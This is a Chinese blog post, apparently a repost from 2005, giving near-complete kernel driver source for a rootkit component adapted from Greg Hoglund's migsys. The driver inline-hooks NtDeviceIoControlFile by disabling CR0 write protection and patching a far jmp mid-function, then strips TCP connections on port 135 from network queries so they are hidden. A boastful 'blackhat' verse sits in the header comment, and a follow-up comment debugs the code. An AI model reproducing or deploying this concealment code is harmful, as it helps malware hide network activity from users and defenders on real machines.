又一个hideport_hook部分代码

昨天的inline hook 是在程序的最开始的前5字节改成jmp xxxx,缺点是太容易被发现,当然可以用变形的方法来替换jmp,比如push xxxx,ret 其他的很多方法,但昨天就考虑到除了变形外还可以把改写的位置放在其他位置上,比如从被hook的函数开始的第8个字节的几个字节改写成jmp xxxx,位置是不固定的,要看具体情况而定,比如NtDeviceIoControlFile,
nt!NtDeviceIoControlFile:
805997c4 55               push    ebp
805997c5 8bec             mov     ebp,esp
805997c7 6a01             push    0x1
805997c9 ff752c           push    dword ptr [ebp+0x2c]
805997cc ff7528           push    dword ptr [ebp+0x28]
805997cf ff7524           push    dword ptr [ebp+0x24]
805997d2 ff7520           push    dword ptr [ebp+0x20]
805997d5 ff751c           push    dword ptr [ebp+0x1c]
805997d8 ff7518           push    dword ptr [ebp+0x18]
805997db ff7514           push    dword ptr [ebp+0x14]
805997de ff7510           push    dword ptr [ebp+0x10]
805997e1 ff750c           push    dword ptr [ebp+0xc]
805997e4 ff7508           push    dword ptr [ebp+0x8]
805997e7 e8e731ffff       call    nt!IopXxxControlFile (8058c9d3)
805997ec 5d               pop     ebp
805997ed c22800           ret     0x28
805997f0 0f862334ffff     jbe     nt!IopXxxControlFile+0x570 (8058cc19)
...
 
前面这么多push 语句都可以用来改成jmp xxxx或类似的语句,直要不让它执行到cAll就行了,,因为一但cAll就做出了很多操作,不好往回改了
比如选定
805997cc ff7528           push    dword ptr [ebp+0x28]
805997cf ff7524           push    dword ptr [ebp+0x24]
805997d2 ff7520           push    dword ptr [ebp+0x20]
这9个字节改写为0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 11223344被换成我们的函数的地址,一定要用整数条语句的空间
当调用NtDeviceIoControlFile后跳转到我们的函数时,实际上已经执行了这几条语句了
805997c4 55               push    ebp
805997c5 8bec             mov     ebp,esp
805997c7 6a01             push    0x1
805997c9 ff752c           push    dword ptr [ebp+0x2c]
所以要执行对应相反的语句来恢复堆栈
__asm
{
	add esp,8
	mov esp,ebp
	pop ebp
}
然后和原来的方法一样模拟cAll NtDeviceIoControlFile的过程,把丢掉的语句都补上,代码如下
/
// migsys, kernel part of m1gB0t, Greg Hoglund, 2004
//
// I got the blackhat style
// my code is evil and elite
// with capitalized guile
// fuckn the welfare vendors
// and their mothefuckin deceit
// hide behind the mask of good-will-defender
// I cut like a file
// slow hone on your vulns 
// This aint no fuzz
// This is deeper
// I'm in your states
// like the motherfukn Reaper
// You want something for free?
// pay naught for my pursuit?
// my mission occupation
// gonna put me in refute
// your gonna come along
// cuz this is bigger than you
// its gonna take you by balls
// your paybacks are due 
/

#include <ntddk.h>
#include "hideport_hook_ZwDeviceIoControlFile.h"

NTSYSAPI
NTSTATUS
NTAPI
NtDeviceIoControlFile(
					  IN HANDLE hFile,
					  IN HANDLE hEvent OPTIONAL,
					  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
					  IN PVOID IoApcContext OPTIONAL,
					  OUT PIO_STATUS_BLOCK pIoStatusBlock,
					  IN ULONG DeviceIoControlCode,
					  IN PVOID InBuffer OPTIONAL,
					  IN ULONG InBufferLength,
					  OUT PVOID OutBuffer OPTIONAL,
					  IN ULONG OutBufferLength
					  );


NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
{
	int i=0;
	char *p = (char *)NtDeviceIoControlFile;
	
	//The beginning of the NtDeviceIoControlFile function
	//should match: 
	//55  PUSH EBP
	//8BEC  MOV EBP, ESP
	//6A01  PUSH 01
	//FF752C PUSH DWORD PTR [EBP + 2C]
	
	char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };
	
	while(i<8)
	{
		DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
		DbgPrint("/n");
		if(p[i] != c[i])
		{
			return STATUS_UNSUCCESSFUL; 
		}
		i++;
	}
	return STATUS_SUCCESS;
}


// naked functions have no prolog/epilog code - they are functionally like the 
// target of a goto statement
__declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle, 
						IN HANDLE Event OPTIONAL, 
						IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, 
						IN PVOID ApcContext OPTIONAL, 
						OUT PIO_STATUS_BLOCK IoStatusBlock, 
						IN ULONG IoControlCode, 
						IN PVOID InputBuffer OPTIONAL, 
						IN ULONG InputBufferLength, 
						OUT PVOID OutputBuffer OPTIONAL, 
						IN ULONG OutputBufferLength 
						) 
{ 
	
	NTSTATUS rc;
	TCP_REQUEST_QUERY_INFORMATION_EX req; 
	TCPAddrEntry* TcpTable;// = NULL; 
	TCPAddrExEntry* TcpExTable;// = NULL; 
	ULONG numconn; 
	ULONG i;
	__asm
	{
		add esp,8
		mov esp,ebp
		pop ebp
	}

	__asm 
	{
		push ebp
		mov ebp,esp
	}

	DbgPrint("hooked/n");
	
	__asm
	{
		push OutputBufferLength
		push OutputBuffer
		push InputBufferLength
		push InputBuffer
		push IoControlCode
		push IoStatusBlock
		push ApcContext
		push ApcRoutine
		push Event
		push FileHandle
	}
	__asm
	{
		//int 3
		jmp forwArd
bAck:

	}

	__asm
	{  
		// exec missing instructions
			push ebp
			mov  ebp, esp
			push 0x01
			push dword ptr [ebp+0x2C]
			push dword ptr [ebp+0x28]
			push dword ptr [ebp+0x24]
			push dword ptr [ebp+0x20]
			
			// jump to re-entry location in hooked function
			// this gets 'stamped' with the correct address
			// at runtime.
			//
			// we need to hard-code a far jmp, but the assembler
			// that comes with the DDK will not poop this out
			// for us, so we code it manually
			// jmp FAR 0x08:0xAAAAAAAA
			_emit 0xEA
			_emit 0xAA
			_emit 0xAA
			_emit 0xAA
			_emit 0xAA
			_emit 0x08
			_emit 0x00
	}
//
	__asm 
	{
forwArd:
		call bAck
	}
	DbgPrint("once here :>/n");
	__asm
	{
		mov rc,eax
	}
	TcpTable = NULL;
	TcpExTable = NULL; 
	
	if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){ 
		//return(rc); 
		__asm
		{
			mov esp,ebp
			pop ebp
			mov eax,rc
			ret 0x28
		}
	} 
	
	
	if( NT_SUCCESS( rc ) ) { 
		req.ID.toi_entity.tei_entity = CO_TL_ENTITY; 
		req.ID.toi_entity.tei_instance = 0; 
		req.ID.toi_class = INFO_CLASS_PROTOCOL; 
		req.ID.toi_type = INFO_TYPE_PROVIDER; 
		req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; 
		
		if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) ) 
		{ 
			numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); 
			TcpTable = (TCPAddrEntry*)OutputBuffer; 
			
			for( i=0; i<numconn; i++ ){ 
				if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
					//判断是否是最后一个
					if (i != numconn -1){
						RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) ); 
						numconn--; 
						i--; 
					}else{
						numconn--;
					}
				} 
			} 		
			IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); 
			//return(rc); 
			__asm
			{
				mov esp,ebp
				pop ebp
				mov eax,rc
				ret 0x28
			}
		} 
	
		req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; 
		
		if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) ) { 
			numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry); 
			TcpExTable = (TCPAddrExEntry*)OutputBuffer; 
			
			for( i=0; i<numconn; i++ ) {
				if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) {  
					if (i != numconn){
						RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) ); 
						numconn--; 
						i--; 
					}else{
						numconn--;
					}
				} 
			} 
			
			IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry); 
			//return(rc); 
			__asm
			{
				mov esp,ebp
				pop ebp
				mov eax,rc
				ret 0x28
			}
		} 
	} 
	
	//return(rc); 
	__asm
	{
		mov esp,ebp
		pop ebp
		mov eax,rc
		ret 0x28
	}

} 
//--------------------------------------------------------------------
VOID DetourFunctionNtDeviceIoControlFile()
{
	char *actual_function = (char *)NtDeviceIoControlFile;
	unsigned long detour_address;
	unsigned long reentry_address;
	int i = 0;
	
	// assembles to jmp far 0008:11223344 where 11223344 is address of
	// our detour function, plus one NOP to align up the patch
	char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 };
	
	// reenter the hooked function at a location past the overwritten opcodes
	// alignment is, of course, very important here
	reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17; 

	detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile;
	
	// stamp in the target address of the far jmp
	*( (unsigned long *)(&newcode[1]) ) = detour_address;
	
	// now, stamp in the return jmp into our detour
	// function
	for(i=0;i<200;i++)
	{
		if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) &&
			(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) &&
			(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) &&
			(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3]))
		{
			// we found the address 0xAAAAAAAA
			// stamp it w/ the correct address
			*( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address;
			break;
		}
	}
	
	//TODO, raise IRQL
	
	//overwrite the bytes in the kernel function
	//to apply the detour jmp
	_asm 
	{ 
		CLI //dissable interrupt 
		MOV EAX, CR0 //move CR0 register into EAX 
		AND EAX, NOT 10000H //disable WP bit 
		MOV CR0, EAX //write register back 
	} 
	for(i=8;i < 17;i++)
	{
		actual_function[i] = newcode[i-8];
	}
	_asm
	{ 
		MOV EAX, CR0 //move CR0 register into EAX 
		OR EAX, 10000H //enable WP bit 
		MOV CR0, EAX //write register back 
		STI //enable interrupt 
	} 
	
	//TODO, drop IRQL
}

VOID UnDetourFunction()
{
	//TODO!
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
	DbgPrint("My Driver Unloaded!/n");
	
	UnDetourFunction();
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	DbgPrint("My Driver Loaded!");
	
	// TODO!! theDriverObject->DriverUnload = OnUnload;
	
	if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())
	{
		DbgPrint("Match Failure on NtDeviceIoControlFile!/n");
		return STATUS_UNSUCCESSFUL;
	}

	DetourFunctionNtDeviceIoControlFile();
	
	return STATUS_SUCCESS;
}


顺便说一下,虽然程序可以运行,结果正确,但会让系统变的很慢,cpu占用在和网络通讯的几个程序上,包括什么事情都不做的
migsys.sys,,原因还在查,正在郁闷中....难到是这种inline hook都这个鸟样? 草


Trackback: http://tb.donews.net/TrackBack.aspx?PostId=583452


<script src="/PromoteIcon.aspx?id=583452" type="text/javascript"></script> [ 点击此处收藏本文]   发表于 2005年10月10日 9:53 PM
href="http://blog.donews.com/uuty/Services/Pingback.aspx" rel="pingback" />
marginwidth="0" marginheight="0" src="http://blog.donews.com/adv/adframe.html" frameborder="0" width="465" scrolling="no" height="60">


 

 
uty 发表于2005-11-05 8:36 PM  IP: 59.72.0.*
哇哈哈哈哈哈,,终于找到原因了!! 原来是局部变量的事,NtDeviceIoControlFile在被调用的时候是可能在任意进程中的,那几个局部变量汇编成的不过是esp-x这样的,当用的时候当然不知所云了,,换成全局变量或者申请块空间就没问题. 然而为什么在windbg中调试时会是那个鸟样,就不清楚了,,windbg在用的时候也会调用到NtDeviceIoControlFile造成的??
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值